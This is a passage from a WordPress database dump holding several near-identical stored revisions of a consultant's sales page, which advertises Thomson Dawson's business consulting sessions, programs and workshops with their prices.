inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:00:19', '2014-06-29 18:00:19', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-209/', 0, 'revision', '', 0);
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(2650, 2, '2014-06-29 11:04:30', '2014-06-29 18:04:30', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth,  you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n\r\nMy passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about the One Day Brand Strategy Workshop in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all  entrepreneurs along their way to building a successful business.  Allow me to help you gain the clarity and confidence create the success you desire in your business and in your whole life!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:04:30', '2014-06-29 18:04:30', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-210/', 0, 'revision', '', 0),
(2651, 2, '2014-06-29 11:05:27', '2014-06-29 18:05:27', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n\r\nMy passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about the One Day Brand Strategy Workshop in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all  entrepreneurs along their way to building a successful business.  Allow me to help you gain the clarity and confidence create the success you desire in your business and in your whole life!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:05:27', '2014-06-29 18:05:27', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-211/', 0, 'revision', '', 0),
(2653, 2, '2014-06-29 11:08:14', '2014-06-29 18:08:14', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n<h3>My passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</h3>\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about the One Day Brand Strategy Workshop in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all entrepreneurs along their way to building a successful business.  Allow me to help you gain the clarity and confidence create the success you desire in your business and in your whole life!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:08:14', '2014-06-29 18:08:14', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-213/', 0, 'revision', '', 0),
(2652, 2, '2014-06-29 11:05:57', '2014-06-29 18:05:57', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n<h3>My passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</h3>\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about the One Day Brand Strategy Workshop in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all  entrepreneurs along their way to building a successful business.  Allow me to help you gain the clarity and confidence create the success you desire in your business and in your whole life!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:05:57', '2014-06-29 18:05:57', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-212/', 0, 'revision', '', 0);
